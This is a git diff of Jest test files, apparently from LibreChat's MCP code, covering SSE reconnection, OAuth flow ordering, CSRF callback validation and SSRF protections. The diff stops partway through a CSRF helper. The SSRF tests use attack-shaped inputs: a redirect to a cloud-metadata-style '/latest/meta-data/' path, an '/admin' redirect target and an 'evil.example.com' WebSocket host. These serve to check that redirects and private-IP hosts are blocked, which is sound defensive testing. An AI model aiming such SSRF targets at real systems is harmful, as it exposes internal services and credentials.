+
+    /**
+     * Monkey-patch createFetchFunction to replicate the old per-request Agent behavior.
+     * In the old code, `new Agent()` was inside the returned closure, so each call to
+     * the fetch function allocated a fresh Agent that was never stored or closed.
+     */
+    const privateSelf = conn as unknown as Record<string, unknown> & { agents: Agent[] };
+
+    const originalMethod = (privateSelf.createFetchFunction as (...a: unknown[]) => unknown).bind(
+      conn,
+    );
+
+    privateSelf.createFetchFunction = (_getHeaders: unknown, timeout?: number) => {
+      const effectiveTimeout = timeout ?? 60000;
+      return (input: unknown, init?: unknown) => {
+        const agent = new Agent({
+          bodyTimeout: effectiveTimeout,
+          headersTimeout: effectiveTimeout,
+        });
+        return undiciFetch(input as string, {
+          ...(init as Record<string, unknown>),
+          dispatcher: agent,
+        });
+      };
+    };
+
+    const closeSpy = jest.spyOn(Agent.prototype, 'close');
+
+    await conn.connect();
+    await conn.fetchTools();
+    await conn.fetchTools();
+    await conn.fetchTools();
+
+    /**
+     * The old pattern: agents is empty because none were stored.
+     * disconnecting closes nothing.
+     */
+    expect(privateSelf.agents.length).toBe(0);
+
+    await safeDisconnect(conn);
+
+    expect(closeSpy).not.toHaveBeenCalled();
+
+    /** Restore the real method so afterEach teardown works cleanly. */
+    privateSelf.createFetchFunction = originalMethod;
+    conn = null;
+  });
+});
+
+describe('MCPConnection SSE 404 handling – session-aware', () => {
+  function makeTransportStub(sessionId?: string) {
+    return {
+      ...(sessionId != null ? { sessionId } : {}),
+      onerror: undefined as ((e: Error) => void) | undefined,
+      onclose: undefined as (() => void) | undefined,
+      onmessage: undefined as ((m: unknown) => void) | undefined,
+      start: jest.fn(),
+      close: jest.fn(),
+      send: jest.fn(),
+    };
+  }
+
+  function makeConn() {
+    return new MCPConnection({
+      serverName: 'test-404',
+      serverConfig: { url: 'http://127.0.0.1:1/sse' },
+      useSSRFProtection: false,
+    });
+  }
+
+  function fire404(conn: MCPConnection, transport: ReturnType<typeof makeTransportStub>) {
+    (
+      conn as unknown as { setupTransportErrorHandlers: (t: unknown) => void }
+    ).setupTransportErrorHandlers(transport);
+    const sseError = Object.assign(new Error('Failed to open SSE stream'), { code: 404 });
+    transport.onerror?.(sseError);
+  }
+
+  beforeEach(() => {
+    mockLogger.warn.mockClear();
+    mockLogger.error.mockClear();
+  });
+
+  it('silently ignores a 404 when no session is established (backwards-compat probe)', () => {
+    const conn = makeConn();
+    const transport = makeTransportStub();
+    const emitSpy = jest.spyOn(conn, 'emit');
+
+    fire404(conn, transport);
+
+    expect(mockLogger.warn).toHaveBeenCalledWith(expect.stringContaining('no session'));
+    expect(emitSpy).not.toHaveBeenCalledWith('connectionChange', 'error');
+  });
+
+  it('falls through on a 404 when a session already exists, triggering reconnection', () => {
+    const conn = makeConn();
+    const transport = makeTransportStub('existing-session-id');
+    const emitSpy = jest.spyOn(conn, 'emit');
+
+    fire404(conn, transport);
+
+    expect(mockLogger.warn).toHaveBeenCalledWith(expect.stringContaining('session lost'));
+    expect(emitSpy).toHaveBeenCalledWith('connectionChange', 'error');
+  });
+
+  it('treats an empty-string sessionId as no session (guards against falsy sessionId)', () => {
+    const conn = makeConn();
+    const transport = makeTransportStub('');
+    const emitSpy = jest.spyOn(conn, 'emit');
+
+    fire404(conn, transport);
+
+    expect(emitSpy).not.toHaveBeenCalledWith('connectionChange', 'error');
+  });
+});
+
+describe('MCPConnection SSE stream disconnect handling', () => {
+  function makeTransportStub() {
+    return {
+      onerror: undefined as ((e: Error) => void) | undefined,
+      onclose: undefined as (() => void) | undefined,
+      onmessage: undefined as ((m: unknown) => void) | undefined,
+      start: jest.fn(),
+      close: jest.fn(),
+      send: jest.fn(),
+    };
+  }
+
+  function makeConn() {
+    return new MCPConnection({
+      serverName: 'test-sse-disconnect',
+      serverConfig: { url: 'http://127.0.0.1:1/sse' },
+      useSSRFProtection: false,
+    });
+  }
+
+  function bindErrorHandler(conn: MCPConnection, transport: ReturnType<typeof makeTransportStub>) {
+    (
+      conn as unknown as { setupTransportErrorHandlers: (t: unknown) => void }
+    ).setupTransportErrorHandlers(transport);
+  }
+
+  beforeEach(() => {
+    mockLogger.debug.mockClear();
+    mockLogger.error.mockClear();
+  });
+
+  it('suppresses "SSE stream disconnected" errors from escalating to full reconnection', () => {
+    const conn = makeConn();
+    const transport = makeTransportStub();
+    const emitSpy = jest.spyOn(conn, 'emit');
+    bindErrorHandler(conn, transport);
+
+    transport.onerror?.(
+      new Error('SSE stream disconnected: AbortError: The operation was aborted'),
+    );
+
+    expect(mockLogger.debug).toHaveBeenCalledWith(
+      expect.stringContaining('SDK SSE stream recovery in progress'),
+    );
+    expect(emitSpy).not.toHaveBeenCalledWith('connectionChange', 'error');
+  });
+
+  it('suppresses "Failed to reconnect SSE stream" errors (SDK still has retries left)', () => {
+    const conn = makeConn();
+    const transport = makeTransportStub();
+    const emitSpy = jest.spyOn(conn, 'emit');
+    bindErrorHandler(conn, transport);
+
+    transport.onerror?.(new Error('Failed to reconnect SSE stream: connection refused'));
+
+    expect(mockLogger.debug).toHaveBeenCalledWith(
+      expect.stringContaining('SDK SSE stream recovery in progress'),
+    );
+    expect(emitSpy).not.toHaveBeenCalledWith('connectionChange', 'error');
+  });
+
+  it('escalates "Maximum reconnection attempts exceeded" (SDK gave up)', () => {
+    const conn = makeConn();
+    const transport = makeTransportStub();
+    const emitSpy = jest.spyOn(conn, 'emit');
+    bindErrorHandler(conn, transport);
+
+    transport.onerror?.(new Error('Maximum reconnection attempts (2) exceeded.'));
+
+    expect(emitSpy).toHaveBeenCalledWith('connectionChange', 'error');
+  });
+
+  it('still escalates non-SSE-stream errors (e.g. POST failures)', () => {
+    const conn = makeConn();
+    const transport = makeTransportStub();
+    const emitSpy = jest.spyOn(conn, 'emit');
+    bindErrorHandler(conn, transport);
+
+    transport.onerror?.(new Error('Streamable HTTP error: Error POSTing to endpoint: 500'));
+
+    expect(emitSpy).toHaveBeenCalledWith('connectionChange', 'error');
+  });
+});
+
+describe('MCPConnection SSE GET stream recovery – integration', () => {
+  let server: TestServer;
+  let conn: MCPConnection | null;
+
+  beforeEach(async () => {
+    server = await createStreamableServer();
+    conn = null;
+  });
+
+  afterEach(async () => {
+    MCPConnection.clearCooldown('test-sse-recovery');
+    await safeDisconnect(conn);
+    conn = null;
+    jest.restoreAllMocks();
+    await server.close();
+  });
+
+  it('survives a GET SSE body timeout without triggering a full transport rebuild', async () => {
+    const SHORT_SSE_TIMEOUT = 1500;
+
+    conn = new MCPConnection({
+      serverName: 'test-sse-recovery',
+      serverConfig: {
+        type: 'streamable-http',
+        url: server.url,
+        sseReadTimeout: SHORT_SSE_TIMEOUT,
+      },
+      useSSRFProtection: false,
+    });
+
+    await conn.connect();
+
+    await conn.fetchTools();
+
+    /**
+     * Wait for the GET SSE body timeout to fire. The SDK will see a stream
+     * error and call onerror("SSE stream disconnected: …"), then internally
+     * schedule a reconnection. Our handler should suppress the escalation.
+     */
+    await new Promise((resolve) => setTimeout(resolve, SHORT_SSE_TIMEOUT + 1000));
+
+    expect(mockLogger.debug).toHaveBeenCalledWith(
+      expect.stringContaining('SDK SSE stream recovery in progress'),
+    );
+    expect(mockLogger.error).not.toHaveBeenCalledWith(
+      expect.stringContaining('Reconnection handler failed'),
+      expect.anything(),
+    );
+
+    /**
+     * The connection should still be functional — POST requests use a
+     * separate Agent with the normal timeout and are unaffected.
+     */
+    const tools = await conn.fetchTools();
+    expect(tools).toBeDefined();
+  }, 10_000);
+});
diff --git a/packages/api/src/mcp/__tests__/MCPConnectionFactory.test.ts b/packages/api/src/mcp/__tests__/MCPConnectionFactory.test.ts
index 263c84357a..bceb23b246 100644
--- a/packages/api/src/mcp/__tests__/MCPConnectionFactory.test.ts
+++ b/packages/api/src/mcp/__tests__/MCPConnectionFactory.test.ts
@@ -45,6 +45,7 @@ describe('MCPConnectionFactory', () => {
     } as t.MCPOptions;
 
     mockFlowManager = {
+      initFlow: jest.fn().mockResolvedValue(undefined),
       createFlow: jest.fn(),
       createFlowWithHandler: jest.fn(),
       getFlowState: jest.fn(),
@@ -78,7 +79,10 @@ describe('MCPConnectionFactory', () => {
       const connection = await MCPConnectionFactory.create(basicOptions);
 
       expect(connection).toBe(mockConnectionInstance);
-      expect(mockProcessMCPEnv).toHaveBeenCalledWith({ options: mockServerConfig });
+      expect(mockProcessMCPEnv).toHaveBeenCalledWith({
+        options: mockServerConfig,
+        dbSourced: undefined,
+      });
       expect(mockMCPConnection).toHaveBeenCalledWith({
         serverName: 'test-server',
         serverConfig: mockServerConfig,
@@ -120,7 +124,11 @@ describe('MCPConnectionFactory', () => {
       const connection = await MCPConnectionFactory.create(basicOptions, oauthOptions);
 
       expect(connection).toBe(mockConnectionInstance);
-      expect(mockProcessMCPEnv).toHaveBeenCalledWith({ options: mockServerConfig, user: mockUser });
+      expect(mockProcessMCPEnv).toHaveBeenCalledWith({
+        options: mockServerConfig,
+        user: mockUser,
+        dbSourced: undefined,
+      });
       expect(mockMCPConnection).toHaveBeenCalledWith({
         serverName: 'test-server',
         serverConfig: mockServerConfig,
@@ -233,7 +241,8 @@ describe('MCPConnectionFactory', () => {
       };
 
       mockMCPOAuthHandler.initiateOAuthFlow.mockResolvedValue(mockFlowData);
-      mockFlowManager.createFlow.mockRejectedValue(new Error('Timeout expected'));
+      // createFlow runs as a background monitor — simulate it staying pending
+      mockFlowManager.createFlow.mockReturnValue(new Promise(() => {}));
       mockConnectionInstance.isConnected.mockResolvedValue(false);
 
       let oauthRequiredHandler: (data: Record<string, unknown>) => Promise<void>;
@@ -261,6 +270,18 @@ describe('MCPConnectionFactory', () => {
         {},
         undefined,
       );
+
+      // initFlow must be awaited BEFORE the redirect to guarantee state is stored
+      expect(mockFlowManager.initFlow).toHaveBeenCalledWith(
+        'flow123',
+        'mcp_oauth',
+        expect.objectContaining(mockFlowData.flowMetadata),
+      );
+      const initCallOrder = mockFlowManager.initFlow.mock.invocationCallOrder[0];
+      const oauthStartCallOrder = (oauthOptions.oauthStart as jest.Mock).mock
+        .invocationCallOrder[0];
+      expect(initCallOrder).toBeLessThan(oauthStartCallOrder);
+
       expect(oauthOptions.oauthStart).toHaveBeenCalledWith('https://auth.example.com');
       expect(mockConnectionInstance.emit).toHaveBeenCalledWith(
         'oauthFailed',
@@ -317,6 +338,236 @@ describe('MCPConnectionFactory', () => {
       );
     });
 
+    it('should emit oauthFailed when initFlow fails to store flow state (returnOnOAuth)', async () => {
+      const basicOptions = {
+        serverName: 'test-server',
+        serverConfig: {
+          ...mockServerConfig,
+          url: 'https://api.example.com',
+          type: 'sse' as const,
+        } as t.SSEOptions,
+      };
+
+      const oauthOptions = {
+        useOAuth: true as const,
+        user: mockUser,
+        flowManager: mockFlowManager,
+        returnOnOAuth: true,
+        oauthStart: jest.fn(),
+        tokenMethods: {
+          findToken: jest.fn(),
+          createToken: jest.fn(),
+          updateToken: jest.fn(),
+          deleteTokens: jest.fn(),
+        },
+      };
+
+      const mockFlowData = {
+        authorizationUrl: 'https://auth.example.com',
+        flowId: 'flow123',
+        flowMetadata: {
+          serverName: 'test-server',
+          userId: 'user123',
+          serverUrl: 'https://api.example.com',
+          state: 'state123',
+        },
+      };
+
+      mockMCPOAuthHandler.initiateOAuthFlow.mockResolvedValue(mockFlowData);
+      mockFlowManager.initFlow.mockRejectedValue(new Error('Store write failed'));
+      mockConnectionInstance.isConnected.mockResolvedValue(false);
+
+      let oauthRequiredHandler: (data: Record<string, unknown>) => Promise<void>;
+      mockConnectionInstance.on.mockImplementation((event, handler) => {
+        if (event === 'oauthRequired') {
+          oauthRequiredHandler = handler as (data: Record<string, unknown>) => Promise<void>;
+        }
+        return mockConnectionInstance;
+      });
+
+      try {
+        await MCPConnectionFactory.create(basicOptions, oauthOptions);
+      } catch {
+        // Expected to fail
+      }
+
+      await oauthRequiredHandler!({ serverUrl: 'https://api.example.com' });
+
+      // initFlow failed, so oauthStart should NOT have been called (redirect never happens)
+      expect(oauthOptions.oauthStart).not.toHaveBeenCalled();
+      // createFlow should NOT have been called since initFlow failed first
+      expect(mockFlowManager.createFlow).not.toHaveBeenCalled();
+      expect(mockConnectionInstance.emit).toHaveBeenCalledWith(
+        'oauthFailed',
+        expect.objectContaining({ message: 'OAuth initiation failed' }),
+      );
+      expect(mockLogger.error).toHaveBeenCalled();
+    });
+
+    it('should log warnings when background createFlow monitor rejects (returnOnOAuth)', async () => {
+      const basicOptions = {
+        serverName: 'test-server',
+        serverConfig: {
+          ...mockServerConfig,
+          url: 'https://api.example.com',
+          type: 'sse' as const,
+        } as t.SSEOptions,
+      };
+
+      const oauthOptions = {
+        useOAuth: true as const,
+        user: mockUser,
+        flowManager: mockFlowManager,
+        returnOnOAuth: true,
+        oauthStart: jest.fn(),
+        tokenMethods: {
+          findToken: jest.fn(),
+          createToken: jest.fn(),
+          updateToken: jest.fn(),
+          deleteTokens: jest.fn(),
+        },
+      };
+
+      const mockFlowData = {
+        authorizationUrl: 'https://auth.example.com',
+        flowId: 'flow123',
+        flowMetadata: {
+          serverName: 'test-server',
+          userId: 'user123',
+          serverUrl: 'https://api.example.com',
+          state: 'state123',
+        },
+      };
+
+      mockMCPOAuthHandler.initiateOAuthFlow.mockResolvedValue(mockFlowData);
+      // Simulate the background monitor timing out
+      mockFlowManager.createFlow.mockRejectedValue(new Error('mcp_oauth flow timed out'));
+      mockConnectionInstance.isConnected.mockResolvedValue(false);
+
+      let oauthRequiredHandler: (data: Record<string, unknown>) => Promise<void>;
+      mockConnectionInstance.on.mockImplementation((event, handler) => {
+        if (event === 'oauthRequired') {
+          oauthRequiredHandler = handler as (data: Record<string, unknown>) => Promise<void>;
+        }
+        return mockConnectionInstance;
+      });
+
+      try {
+        await MCPConnectionFactory.create(basicOptions, oauthOptions);
+      } catch {
+        // Expected to fail
+      }
+
+      await oauthRequiredHandler!({ serverUrl: 'https://api.example.com' });
+
+      // Allow the .catch handler on createFlow to execute
+      await Promise.resolve();
+
+      // initFlow should have succeeded and redirect should have happened
+      expect(mockFlowManager.initFlow).toHaveBeenCalled();
+      expect(oauthOptions.oauthStart).toHaveBeenCalledWith('https://auth.example.com');
+      // The background monitor error should be logged, not silently swallowed
+      expect(mockLogger.debug).toHaveBeenCalledWith(
+        expect.stringContaining('OAuth flow monitor ended'),
+        expect.any(Error),
+      );
+    });
+
+    it('should call initFlow before createFlow in blocking OAuth path (non-returnOnOAuth)', async () => {
+      const sseConfig = {
+        ...mockServerConfig,
+        url: 'https://api.example.com',
+        type: 'sse' as const,
+      } as t.SSEOptions;
+
+      const basicOptions = {
+        serverName: 'test-server',
+        serverConfig: sseConfig,
+      };
+
+      const oauthOptions = {
+        useOAuth: true as const,
+        user: mockUser,
+        flowManager: mockFlowManager,
+        oauthStart: jest.fn(),
+        oauthEnd: jest.fn(),
+        tokenMethods: {
+          findToken: jest.fn(),
+          createToken: jest.fn(),
+          updateToken: jest.fn(),
+          deleteTokens: jest.fn(),
+        },
+      };
+
+      const mockFlowData = {
+        authorizationUrl: 'https://auth.example.com',
+        flowId: 'flow123',
+        flowMetadata: {
+          serverName: 'test-server',
+          userId: 'user123',
+          serverUrl: 'https://api.example.com',
+          state: 'random-state',
+          clientInfo: { client_id: 'client123' },
+          metadata: {
+            token_endpoint: 'https://auth.example.com/token',
+            authorization_endpoint: 'https://auth.example.com/authorize',
+          },
+        },
+      };
+
+      const mockTokens: MCPOAuthTokens = {
+        access_token: 'access123',
+        refresh_token: 'refresh123',
+        token_type: 'Bearer',
+        obtained_at: Date.now(),
+      };
+
+      // processMCPEnv must return config with url so handleOAuthRequired proceeds
+      mockProcessMCPEnv.mockReturnValue(sseConfig);
+      mockMCPOAuthHandler.initiateOAuthFlow.mockResolvedValue(mockFlowData);
+      mockMCPOAuthHandler.generateFlowId.mockReturnValue('flow123');
+      mockFlowManager.getFlowState.mockResolvedValue(null);
+      mockFlowManager.createFlow.mockResolvedValue(mockTokens);
+      mockConnectionInstance.isConnected.mockResolvedValue(false);
+
+      let oauthRequiredHandler: (data: Record<string, unknown>) => Promise<void>;
+      mockConnectionInstance.on.mockImplementation((event, handler) => {
+        if (event === 'oauthRequired') {
+          oauthRequiredHandler = handler as (data: Record<string, unknown>) => Promise<void>;
+        }
+        return mockConnectionInstance;
+      });
+
+      try {
+        await MCPConnectionFactory.create(basicOptions, oauthOptions);
+      } catch {
+        // Expected to fail
+      }
+
+      await oauthRequiredHandler!({ serverUrl: 'https://api.example.com' });
+
+      // initFlow must be called BEFORE oauthStart and createFlow
+      expect(mockFlowManager.initFlow).toHaveBeenCalledWith(
+        'flow123',
+        'mcp_oauth',
+        expect.objectContaining(mockFlowData.flowMetadata),
+      );
+      const initCallOrder = mockFlowManager.initFlow.mock.invocationCallOrder[0];
+      const oauthStartCallOrder = (oauthOptions.oauthStart as jest.Mock).mock
+        .invocationCallOrder[0];
+      const createCallOrder = mockFlowManager.createFlow.mock.invocationCallOrder[0];
+      expect(initCallOrder).toBeLessThan(oauthStartCallOrder);
+      expect(initCallOrder).toBeLessThan(createCallOrder);
+
+      // createFlow should receive {} since initFlow already persisted metadata
+      expect(mockFlowManager.createFlow).toHaveBeenCalledWith(
+        'flow123',
+        'mcp_oauth',
+        {},
+        undefined,
+      );
+    });
+
     it('should delete stale flow and create new OAuth flow when existing flow is COMPLETED', async () => {
       const basicOptions = {
         serverName: 'test-server',
@@ -358,7 +609,8 @@ describe('MCPConnectionFactory', () => {
       });
       mockMCPOAuthHandler.initiateOAuthFlow.mockResolvedValue(mockFlowData);
       mockFlowManager.deleteFlow.mockResolvedValue(true);
-      mockFlowManager.createFlow.mockRejectedValue(new Error('Timeout expected'));
+      // createFlow runs as a background monitor — simulate it staying pending
+      mockFlowManager.createFlow.mockReturnValue(new Promise(() => {}));
       mockConnectionInstance.isConnected.mockResolvedValue(false);
 
       let oauthRequiredHandler: (data: Record<string, unknown>) => Promise<void>;
@@ -379,16 +631,27 @@ describe('MCPConnectionFactory', () => {
 
       expect(mockFlowManager.deleteFlow).toHaveBeenCalledWith('user123:test-server', 'mcp_oauth');
 
+      // initFlow must be called after deleteFlow and before createFlow
       const deleteCallOrder = mockFlowManager.deleteFlow.mock.invocationCallOrder[0];
+      const initCallOrder = mockFlowManager.initFlow.mock.invocationCallOrder[0];
       const createCallOrder = mockFlowManager.createFlow.mock.invocationCallOrder[0];
-      expect(deleteCallOrder).toBeLessThan(createCallOrder);
+      expect(deleteCallOrder).toBeLessThan(initCallOrder);
+      expect(initCallOrder).toBeLessThan(createCallOrder);
 
-      expect(mockFlowManager.createFlow).toHaveBeenCalledWith(
+      expect(mockFlowManager.initFlow).toHaveBeenCalledWith(
         'user123:test-server',
         'mcp_oauth',
         expect.objectContaining({
           codeVerifier: 'new-code-verifier-xyz',
         }),
+      );
+
+      // createFlow finds the existing PENDING state written by initFlow,
+      // so metadata arg is unused (passed as {})
+      expect(mockFlowManager.createFlow).toHaveBeenCalledWith(
+        'user123:test-server',
+        'mcp_oauth',
+        {},
         undefined,
       );
     });
diff --git a/packages/api/src/mcp/__tests__/MCPConnectionSSRF.test.ts b/packages/api/src/mcp/__tests__/MCPConnectionSSRF.test.ts
new file mode 100644
index 0000000000..b4eb58dbef
--- /dev/null
+++ b/packages/api/src/mcp/__tests__/MCPConnectionSSRF.test.ts
@@ -0,0 +1,277 @@
+/**
+ * Integration tests for MCP SSRF protections.
+ *
+ * These tests spin up real in-process HTTP servers and verify that MCPConnection:
+ *
+ * 1. Does NOT follow HTTP redirects from SSE/StreamableHTTP transports
+ *    (redirect: 'manual' prevents SSRF via server-controlled 301/302)
+ * 2. Blocks WebSocket connections to hosts that DNS-resolve to private IPs,
+ *    regardless of whether useSSRFProtection is enabled (allowlist scenario)
+ */
+
+import * as net from 'net';
+import * as http from 'http';
+import { randomUUID } from 'crypto';
+import { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js';
+import { StreamableHTTPServerTransport } from '@modelcontextprotocol/sdk/server/streamableHttp.js';
+import type { Socket } from 'net';
+import { MCPConnection } from '~/mcp/connection';
+import { resolveHostnameSSRF } from '~/auth';
+
+jest.mock('@librechat/data-schemas', () => ({
+  logger: {
+    info: jest.fn(),
+    warn: jest.fn(),
+    error: jest.fn(),
+    debug: jest.fn(),
+  },
+}));
+
+jest.mock('~/auth', () => ({
+  createSSRFSafeUndiciConnect: jest.fn(() => undefined),
+  resolveHostnameSSRF: jest.fn(async () => false),
+}));
+
+jest.mock('~/mcp/mcpConfig', () => ({
+  mcpConfig: { CONNECTION_CHECK_TTL: 0 },
+}));
+
+const mockedResolveHostnameSSRF = resolveHostnameSSRF as jest.MockedFunction<
+  typeof resolveHostnameSSRF
+>;
+
+async function safeDisconnect(conn: MCPConnection | null): Promise<void> {
+  if (!conn) {
+    return;
+  }
+  (conn as unknown as { shouldStopReconnecting: boolean }).shouldStopReconnecting = true;
+  conn.removeAllListeners();
+  await conn.disconnect();
+}
+
+interface TestServer {
+  url: string;
+  redirectHit: boolean;
+  close: () => Promise<void>;
+}
+
+function getFreePort(): Promise<number> {
+  return new Promise((resolve, reject) => {
+    const srv = net.createServer();
+    srv.listen(0, '127.0.0.1', () => {
+      const addr = srv.address() as net.AddressInfo;
+      srv.close((err) => (err ? reject(err) : resolve(addr.port)));
+    });
+  });
+}
+
+function trackSockets(httpServer: http.Server): () => Promise<void> {
+  const sockets = new Set<Socket>();
+  httpServer.on('connection', (socket: Socket) => {
+    sockets.add(socket);
+    socket.once('close', () => sockets.delete(socket));
+  });
+  return () =>
+    new Promise<void>((resolve) => {
+      for (const socket of sockets) {
+        socket.destroy();
+      }
+      sockets.clear();
+      httpServer.close(() => resolve());
+    });
+}
+
+/**
+ * Creates an HTTP server that responds with a 301 redirect to a target URL.
+ * A second server is spun up at the redirect target to detect whether the
+ * redirect was actually followed.
+ */
+async function createRedirectingServer(redirectTarget: string): Promise<TestServer> {
+  const state = { redirectHit: false };
+
+  const targetPort = new URL(redirectTarget).port || '80';
+  const targetServer = http.createServer((_req, res) => {
+    state.redirectHit = true;
+    res.writeHead(200, { 'Content-Type': 'text/plain' });
+    res.end('You should not be here');
+  });
+  const destroyTargetSockets = trackSockets(targetServer);
+  await new Promise<void>((resolve) =>
+    targetServer.listen(parseInt(targetPort), '127.0.0.1', resolve),
+  );
+
+  const httpServer = http.createServer((_req, res) => {
+    res.writeHead(301, { Location: redirectTarget });
+    res.end();
+  });
+
+  const destroySockets = trackSockets(httpServer);
+  const port = await getFreePort();
+  await new Promise<void>((resolve) => httpServer.listen(port, '127.0.0.1', resolve));
+
+  return {
+    url: `http://127.0.0.1:${port}/`,
+    get redirectHit() {
+      return state.redirectHit;
+    },
+    close: async () => {
+      await destroySockets();
+      await destroyTargetSockets();
+    },
+  };
+}
+
+/**
+ * Creates a real StreamableHTTP MCP server for baseline connectivity tests.
+ */
+async function createStreamableServer(): Promise<Omit<TestServer, 'redirectHit'>> {
+  const sessions = new Map<string, StreamableHTTPServerTransport>();
+
+  const httpServer = http.createServer(async (req, res) => {
+    const sid = req.headers['mcp-session-id'] as string | undefined;
+    let transport = sid ? sessions.get(sid) : undefined;
+
+    if (!transport) {
+      transport = new StreamableHTTPServerTransport({ sessionIdGenerator: () => randomUUID() });
+      const mcp = new McpServer({ name: 'test-ssrf', version: '0.0.1' });
+      await mcp.connect(transport);
+    }
+
+    await transport.handleRequest(req, res);
+
+    if (transport.sessionId && !sessions.has(transport.sessionId)) {
+      sessions.set(transport.sessionId, transport);
+      transport.onclose = () => sessions.delete(transport!.sessionId!);
+    }
+  });
+
+  const destroySockets = trackSockets(httpServer);
+  const port = await getFreePort();
+  await new Promise<void>((resolve) => httpServer.listen(port, '127.0.0.1', resolve));
+
+  return {
+    url: `http://127.0.0.1:${port}/`,
+    close: async () => {
+      const closing = [...sessions.values()].map((t) => t.close().catch(() => undefined));
+      sessions.clear();
+      await Promise.all(closing);
+      await destroySockets();
+    },
+  };
+}
+
+describe('MCP SSRF protection – redirect blocking', () => {
+  let redirectServer: TestServer;
+  let conn: MCPConnection | null;
+
+  afterEach(async () => {
+    await safeDisconnect(conn);
+    conn = null;
+    if (redirectServer) {
+      await redirectServer.close();
+    }
+    jest.restoreAllMocks();
+  });
+
+  it('should not follow redirects from streamable-http to a private IP', async () => {
+    const targetPort = await getFreePort();
+    redirectServer = await createRedirectingServer(
+      `http://127.0.0.1:${targetPort}/latest/meta-data/`,
+    );
+
+    conn = new MCPConnection({
+      serverName: 'redirect-test',
+      serverConfig: { type: 'streamable-http', url: redirectServer.url },
+      useSSRFProtection: false,
+    });
+
+    await expect(conn.connect()).rejects.toThrow();
+    expect(redirectServer.redirectHit).toBe(false);
+  });
+
+  it('should not follow redirects even with SSRF protection off (allowlist scenario)', async () => {
+    const targetPort = await getFreePort();
+    redirectServer = await createRedirectingServer(`http://127.0.0.1:${targetPort}/admin`);
+
+    conn = new MCPConnection({
+      serverName: 'redirect-test-2',
+      serverConfig: { type: 'streamable-http', url: redirectServer.url },
+      useSSRFProtection: false,
+    });
+
+    await expect(conn.connect()).rejects.toThrow();
+    expect(redirectServer.redirectHit).toBe(false);
+  });
+
+  it('should connect normally to a non-redirecting streamable-http server', async () => {
+    const realServer = await createStreamableServer();
+    try {
+      conn = new MCPConnection({
+        serverName: 'legit-server',
+        serverConfig: { type: 'streamable-http', url: realServer.url },
+        useSSRFProtection: false,
+      });
+
+      await conn.connect();
+      const tools = await conn.fetchTools();
+      expect(tools).toBeDefined();
+    } finally {
+      await safeDisconnect(conn);
+      conn = null;
+      await realServer.close();
+    }
+  });
+});
+
+describe('MCP SSRF protection – WebSocket DNS resolution', () => {
+  let conn: MCPConnection | null;
+
+  afterEach(async () => {
+    await safeDisconnect(conn);
+    conn = null;
+    jest.restoreAllMocks();
+  });
+
+  it('should block WebSocket to host resolving to private IP when SSRF protection is on', async () => {
+    mockedResolveHostnameSSRF.mockResolvedValueOnce(true);
+
+    conn = new MCPConnection({
+      serverName: 'ws-ssrf-test',
+      serverConfig: { type: 'websocket', url: 'ws://evil.example.com:8080/mcp' },
+      useSSRFProtection: true,
+    });
+
+    await expect(conn.connect()).rejects.toThrow(/SSRF protection/);
+    expect(mockedResolveHostnameSSRF).toHaveBeenCalledWith(
+      expect.stringContaining('evil.example.com'),
+    );
+  });
+
+  it('should block WebSocket to host resolving to private IP even with SSRF protection off', async () => {
+    mockedResolveHostnameSSRF.mockResolvedValueOnce(true);
+
+    conn = new MCPConnection({
+      serverName: 'ws-ssrf-allowlist',
+      serverConfig: { type: 'websocket', url: 'ws://allowlisted.example.com:8080/mcp' },
+      useSSRFProtection: false,
+    });
+
+    await expect(conn.connect()).rejects.toThrow(/SSRF protection/);
+    expect(mockedResolveHostnameSSRF).toHaveBeenCalledWith(
+      expect.stringContaining('allowlisted.example.com'),
+    );
+  });
+
+  it('should allow WebSocket to host resolving to public IP', async () => {
+    mockedResolveHostnameSSRF.mockResolvedValueOnce(false);
+
+    conn = new MCPConnection({
+      serverName: 'ws-public-test',
+      serverConfig: { type: 'websocket', url: 'ws://public.example.com:8080/mcp' },
+      useSSRFProtection: true,
+    });
+
+    /** Fails on connect (no real server), but the error must not be an SSRF rejection. */
+    await expect(conn.connect()).rejects.not.toThrow(/SSRF protection/);
+  });
+});
diff --git a/packages/api/src/mcp/__tests__/MCPOAuthCSRFFallback.test.ts b/packages/api/src/mcp/__tests__/MCPOAuthCSRFFallback.test.ts
new file mode 100644
index 0000000000..cdba06cf8d
--- /dev/null
+++ b/packages/api/src/mcp/__tests__/MCPOAuthCSRFFallback.test.ts
@@ -0,0 +1,232 @@
+/**
+ * Tests for the OAuth callback CSRF fallback logic.
+ *
+ * The callback route validates requests via three mechanisms (in order):
+ * 1. CSRF cookie (HMAC-based, set during initiate)
+ * 2. Session cookie (bound to authenticated userId)
+ * 3. Active PENDING flow in FlowStateManager (fallback for SSE/chat flows)
+ *
+ * This suite tests mechanism 3 — the PENDING flow fallback — including
+ * staleness enforcement and rejection of non-PENDING flows.
+ *
+ * These tests exercise the validation functions directly for fast,
+ * focused coverage. Route-level integration tests using supertest
+ * are in api/server/routes/__tests__/mcp.spec.js ("CSRF fallback
+ * via active PENDING flow" describe block).
+ */
+
+import { Keyv } from 'keyv';
+import { FlowStateManager, PENDING_STALE_MS } from '~/flow/manager';
+import type { Request, Response } from 'express';
+import {
+  generateOAuthCsrfToken,
+  OAUTH_SESSION_COOKIE,
+  validateOAuthSession,
+  OAUTH_CSRF_COOKIE,
+  validateOAuthCsrf,
+} from '~/oauth/csrf';
+import { MockKeyv } from './helpers/oauthTestServer';
+
+jest.mock('@librechat/data-schemas', () => ({
+  logger: {
+    info: jest.fn(),
+    warn: jest.fn(),
+    error: jest.fn(),
+    debug: jest.fn(),
+  },
+  encryptV2: jest.fn(async (val: string) => `enc:${val}`),
+  decryptV2: jest.fn(async (val: string) => val.replace(/^enc:/, '')),
+}));
+
+const CSRF_COOKIE_PATH = '/api/mcp';
+
+function makeReq(cookies: Record<string, string> = {}): Request {
+  return { cookies } as unknown as Request;
+}
+
+function makeRes(): Response {
+  const res = {
+    clearCookie: jest.fn(),
+  } as unknown as Response;
+  return res;
+}
+
+/**
+ * Replicate the callback route's three-tier validation logic.
+ * Returns which mechanism (if any) authorized the request.
+ */
+async function validateCallback(
+  req: Request,
+  res: Response,
+  flowId: string,
+  flowManager: FlowStateManager,
+): Promise<'csrf' | 'session' | 'pendingFlow' | false> {
+  const flowUserId = flowId.split(':')[0];
+
+  const hasCsrf = validateOAuthCsrf(req, res, flowId, CSRF_COOKIE_PATH);
+  if (hasCsrf) {
+    return 'csrf';
+  }
+
+  const hasSession = validateOAuthSession(req, flowUserId);
+  if (hasSession) {
+    return 'session';
+  }
+
